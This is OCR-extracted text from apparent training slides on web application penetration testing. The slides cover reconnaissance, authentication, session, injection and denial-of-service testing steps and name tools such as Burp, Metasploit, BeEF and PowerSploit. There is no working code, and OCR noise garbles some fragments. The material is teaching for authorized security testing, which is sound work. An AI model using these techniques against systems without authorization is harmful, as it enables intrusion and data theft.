1 Web application pen testing is used to identify, analyze, and report vulnerabilities such as input validation,
buffer overflow, SQL injection, bypassing authentication, code execution, etc. in a given application

4 The best way to perform penetration testing is to conduct a series of methodical and repeatable tests, and
to work through all of the different application vulnerabilities

Identification of Ports

Scan the ports to identify the associated
running services and analyze them
through automated or manual tests
to find weaknesses

Why Web
Application
Pen
Testing?

Remediation of Wi Verification of Vulnerabilities

To retest the solution against
vulnerability to ensure that it is
completely secure

To exploit the vulnerability in
order to test and fix the issue
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Define Objective

Document all
the Findings
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Information Gathering

Perform search engine
reconnaissance

v

identify application
entry points

v

Identify the web
applications

~
Analyze the O/P from
HEAD and OPTIONS
http requests
v

@

Allowed and disallowed
directories

Issues of web application
structure, error pages
produced

| Cookie information, 300
- «s=-=3 HTTP and 400 status codes,
500 internal server errors

Web applications, old

------- A versions of files or artifacts
Web server software
hesconna - > version, scripting

environment, and OS in use

Retrieve and analyze robots.txt file
using tools such as GNU Wget

Use the advanced "site:” search
operator and then click "Cached”
to perform search engine
reconnaissance

Identify application entry points
using tools such as Webscarab,
Burp proxy, OWASP ZAP,
TamperlE (for Internet Explorer),
or Tamper Data (for Firefox)

To identify web applications: probe
for URLs, do dictionary-style
searching (intelligent guessing)
and perform vulnerability scanning
using tools such as Nmap (Port
Scanner) and Nessus

Implement techniques such as
DNS zone transfers, DNS inverse
queries, web-based DNS searches,
querying search engines (googling)
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Information Gathering (Cont’d)

© Analyze error codes by requesting invalid
pages and utilize alternate request
£ methods (POST/PUT/Other) in order to

SEMDMALE DELSS S, Octalls ! collect confidential information from the
of databases, bugs, and

technological components e
L

FLLTELELLLES

© Examine the source code from the
accessible pages of the application front-

end |
l§
Web application ‘ 2 Test for recognized file ‘
environment types/extensions/directories by requesting

common file extensions such as .ASP, . HTM,
-PHP, .EXE, and watch for any unusual
output or error codes

2 Perform TCP/ICMP and service

Provide clues as to the fingerprinting using traditional

underlying application fingerprinting tools such as Nmap and
environment Queso, or the more recent application

fingerprinting tool Amap

o1

BRSBTS Web application services
and associated ports
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Disclosure of confidential
information

Source code of the
application

Information in the source
code, log files, and defaulit
error codes

Confidential information
about access credentials

Source code, installation
paths, passwords for
applications, and databases
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Configuration Management Testing

START

Perform SSL/TLS
testing

= CEEEEER

Perform infrastructure
“£----- configuration management

Perform application
«Z----- configuration management
testing

v

Test for file extensions
handling

-
=

v

Vverify the presence of old,

backup, and unreferenced
files

[

Bg----a

)<~

©

identify the ports associated to SSL/TLS wrapped services using Nmap
and Nessus

Perform network scanning and analyze the web server banner

Test the application configuration management using CGl scanners and
reviewing the contents of the web server, application server, comments,
configuration and logs

Use vulnerability scanners, spidering and mirroring tools, search engines
queries or perform manual inspection to test for file extensions handling

Review source code, enumerate application pages and functionality

Perform directory and file enumeration, reviewing server and application
documentation, etc. to test for infrastructure and application admin
interfaces

Review OPTIONS HT TP method using Netcat or Telnet

oD

Test for HTTP methods Credentials of

1 RS =
and XST legitimate users
A
Test for infrastructure Admin interfaces can be
and application admin | found to gain access to

interfaces admin functionality
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Remember password

and pwd reset

5,
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Authentication Testing

L4
Passwords,
authentication
weakness
L]
Authentication
vulnerabilities
L4
Authentication
vulnerabilities
L4
Multiple factors
authentication
vulnerabilities
L -4

Race conditions

Try to reset passwords by guessing, social
engineering, or cracking secret questions, if
used. Check if "remember my password"
mechanism is implemented by checking the
HTML code of the login page.

Check if it is possible to “reuse” a session
after logout. Also check if the application
automatically logs out a user when that user
has been idle for a certain amount of time,
and that no sensitive data remains stored in
the browser cache.

Identify all parameters that are sent in
addition to the decoded CAPTCHA value from
the client to the server and try to send an old
decoded CAPTCHA value with an old
CAPTCHA ID of an old session ID

Check if users hold a hardware device of some
kind in addition to the password. Check if
hardware device communicates directly and
independently with the authentication
infrastructure using an additional
communication channel.

Attempt to force a race condition, make
multiple simultaneous requests while
observing the outcome for unexpected
behavior. Perform code review.
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Session Management Testing

Management
schema

Test for cookie
attributes

v
Test for session

fixation

<

Test for exposed
session variables

<

Test for CSRF (Cross
Site Request

Forgery)

Cookie tampering results in
hijacking the sessions of
legitimate users

Cocokie information to

TR s hijack a valid session
Attacker could steal the
g user session (session

hijacking)

Confidential information of
L Adoiay S session token leads to a
replay session attack

Compromises end user data
and operation or entire
web application

Collect sufficient number of cookie
samples, analyze the cookie generation
algorithm and forge a valid cookie in order
to perform the attack

Test for cookie attributes using intercepting
proxies such as Webscarab, Burp proxy,
OWASP ZAP, or traffic intercepting
browser plug-in’s such as "TamperlE"(for
IE) and "Tamper Data"(for Firefox)

To test for session fixation, make a request
to the site to be tested and analyze
vulnerabilities using the WebScarab tool

Test for exposed session variables by
inspecting encryption & reuse of session
token, proxies & caching , GET & POST, and
transport vulnerabilities

Examine the URLs in the restricted area to
test for CSRF
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Authorization Testing

Test for path .. =1 Cios el nr ke ko @ Test for path traversal by

traversal j reserved information i performing input vector
< ‘ enumeration and
analyzing the input
} validation functions
Can gain illegal access to ’ present in the web

reserved functions/ application

resources
B — € Test for bypassing

authorization schema by
examining the admin

s use web spidering functionalities, to gain

tools
access to the resources
assigned to a different
’ role
Access to resources & Test for role/privilege
seeessesssP Jffunctionality allowing a manipulation

privilege escalation attack
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Session cookie
information

Sensitive information
such as session
authorization tokens

Cookie information

Information on DOM-
based cross-site
scripting vulnerabilities

Database information
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Data Validation Testing

Test for stored
cross-site scripting

v

Test for DOM-based
cross-site scripting

yey

Test for cross site
flashing

v

Perform SQL
injection testing

Detect and analyze input vectors for potential vulnerabilities, analyze the
vulnerability report and attempt to exploit it. Use tools such as OWASP CALS000,
WebScarab, XSS-Proxy, ratproxy, and Burp Proxy

Analyze HTML code, test for Stored XSS, leverage Stored XSS, verify if the file
upload allows setting arbitrary MIME types using tools such as OWASP CALS000,
Hackvertor, XSS-Proxy, Backframe, WebScarab, Burp, and XSS Assistant

Perform source code analysis to identify JavaScript coding ermrors

Analyze SWF files using tools such as SWFintruder, Decompiler - Flare, Compiler
- MTASC, Disassembler - Flasm, Swimill, and Debugger Version of Flash
Pilugin/Player

Perform Standard SQL Injection Testing, Union Query SOL Injection Testing,
Blind SAL Injection Testing. and Stored Procedure Injection using tools such as
OWASP SQLiX, sgininja, SqiDumper, SQL Power Injector, etc.

Use a trial and ermror approach by inserting '(", '|', '&", "*" and the other
characters in order to check the application for errors. Use the tool Softerra
LDAP Browser

D 2

Sensitive information
about users and hosts

A

Perform LDAP
injection testing :
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e
Data Validation Testing (Cont’d)

& Discover vulnerabilities of an ORM
tool and test web applications that use
- [ ORM. Use tools such as Hibernate
""" == foomatibnon SQ1 “ ORM, Nhibernate, and Ruby On Rails

Perform ORM
injection testing

injection vulnerability

© Try to insert XML metacharacters

\ e i

ks I aation abhons [ Find if thes;nlledb seryer act-ually :
XML structure : supports irectives using tools

such as Web Proxy Burp Suite, OWASP

ZAP, WebScarab, String searcher: grep

J Web server CGI € Inject XPath code and interfere with
frmeesReeP onvironment variables the query result

© Identify vulnerable parameters.
Understand the data flow and
Access confidential deployment structure of the client,
information and perform IMAP/SMTP command
injection

Access to the backend 101"10

.
mail server ?é? V
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Data Validation Testing (Cont’d)

Perform code

injection testing

Perform OS
commanding

(.n

Perform buffer
overflow testing

v

Perform incubated
vulnerability testing

4
Test for HTTP
splitting/smuggling

--->

------I---)

TR o =

e ecandeni)

Input validation
errors

Local data and
system information

Stack and heap memory
information, application
control flow

Server configuration
and input validation
schemes

Cookies, and HTTP
redirect information

Inject code (a2 malicicus URL) and perform
source code analysis to discover code
injection vulnerabilities

Perform manual code analysis and craft
malicious HT TP requests using | to test for
OS command injection attacks

Perform manual and automated code
analysis using tools such as OllyDbg to
detect buffer overflow condition

Upload a file that exploits 3 component in
the local user workstation, when viewed or
downloaded by the user, perform XSS, and
SQL injection attack

Identify all user controlled input that
influences one or more headers in the
response, and check whether he or she can
successfully inject a CR+LF sequence in it
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Denial-of-Service Testing

Test for SQL
wildcard attacks

i

Application
information

Login account
information

Buffer overflow
points

Maximum number of
objects that application
can handle

Craft = query that will not return a result and
includes several wildcards. Test manually or
employ a fuzzer to automate the process

Test that an account does indeed lock after a
certain number of failed logins. Find places
where the application discloses the difference
between valid and invalid logins

Perform a manual source code analysis and
submit a range of inputs with varying lengths
to the application

Find where the numbers submitted as a
name/value pair might be used by the
application code and attempt to set the value
to an extremely large numeric value, then see
if the server continues to respond
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Denial-of-Service Testing (Cont’d)

, 2 Enter an extremely large number in
Test for user input Logical errors in an the input field that is used by
as = loop counter | application application as a loop counter

© Use a script to automatically submit
an extremely long value to the server
in the request that is being logged

Write ided Local
X uses pr_ovn - pekdd 3> " . © Identify and send a large number of
data to disk disks exhaustion
requests that perform database
g operations and observe any
: slowdown or new error messages
v
© Create a script to automate the
Test for proper . L Programming flaws creation of many new sessions with
release of resources [ the server and run the request that is
z suspected of caching the data within
: the session for each one
v
Test for storing too -SSR &5 > Session management 5 ,t ‘

much data in session errors
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Web Services Testing

@; START ===+~
&

Gather
WS information

Information of UDDI, 4
WSDL, SOAP, and UBR i

WSDL entry points

XML parser

& To gather WS information use tools such as wsChess, Soaplite, CURL, etc. and
online tools such as UDDI Browser, WSindex, and Xmethods

& Use tools such as WSDigger, WebScarab, and Foundstone to automate web
services security testing

© Pass malformed SOAP messages to XML parser or attach a very large string to
the message. Use WSDigger to perform automated XML structure testing

© Use web application vulnerability scanners such as WebScarab to test XIVIL
content-level vulnerabilities

© Pass malicious content on the HTTP GET strings that invoke XML applications

= Craft an XML document (SOAP message) to send to a web service that contains
malware as an attachment to check if XML document has SOAP attachment
vulnerability

© Attempt to resend a sniffed XML message using Wireshark and WebScarab

Information about SQL,

XPath, buffer overflow,

and command injection
vulnerabilities

HTTP GET/REST
attack vectors

Information about
MITM vulnerability

SOAP message
information
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AJAX Testing

AJAX application call
endpoints

XMLHttpRequest object,
Parse the !-'TML and e > JavaScript files, AJAX
JavaScript files ek
v
Use a proxy to T = Format of application
observe traffic requests

© Enumerate the AJAX call endpoints for the asynchronous calls using tools such as Sprajax
© Observe HTIVIL and JavaScript files to find URLs of additional application surface exposure
=

Use proxies and sniffers to observe traffic generated by user-viewable pages and the background
asynchronous traffic to the AJAX endpoints in order to determine the format and destination of the requests
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© Kali Linux is an advanced penetration testing and security auditing Linux distribution

-

= It contains more than 300 penetration testing tools

~— Applications Places ‘& B4

%@ﬁﬂ@{#{fﬁ/'-¥

http://www.kali.org
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Web Application Pen Testing Framework: Metasploit

The Metasploit Framework is a penetration testing toolkit, exploit development platform,
and research tool that includes hundreds of working remote exploits for a variety of platforms

It helps pen testers to verify vulnerabilities and manage security assessments

P el
I P Metasplon - Modules (| *= 1
|« » & localhow 7 bopa : - < B- . P O &+ ”n

Project - jove ox... ¥ Account - Smon ¥ Adminbtrstion ¥ P2

@ metasploit’
SOrTwRerety. Orwrvieow Arwalynin Sevaiowoe Carmpaiges Webs Apps Motz w Reparts Expores Tanks
Msdies
Search Modules | |

Found 10 matching modiules

Mo Tume o=

e o =o osvoa =

207 = 0307

http://www.metasploit.com .
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-1 The Browser Exploitation Framework (BeEF) is an open-source penetration testing tool used to test and
exploit web application and browser-based vulnerabilities

-1 BeEF provides the penetration tester with practical client side attack vectors and leverages web application
and browser vulnerabilities to assess the security of a target and carry out further intrusions

recomed Bromsers
& _jOrice ®ransers
. 3192 165 62 128
@ WMS 5215384
3 Ormne Browsars

hitp://beefproject.com

GG Started ~ | Logs Current Browser
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Web Application Pen Testing Framework: PowerSploit

- -

1 PowerSploit is a collection of Microsoft :
PowerShell modules that can be used root@kali; Jusr/share/powersploit
to aid reverse engineers, forensic S et v D e
analysts, and penetration testers
during all phases of an assessment

-4 Some of the PowerSploit modules and

scripts:
& CodeExecution

[ /
& ScriptModification ‘ l[!»l-\s' N

& Persistence

a

PETools
© ReverseEngineering
<  AntivirusBypass

© Exfiltration

hetps flaithab. conn
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Next Class

- DVWA

* sqlinjection
* Sqglmap

* Burp Suite
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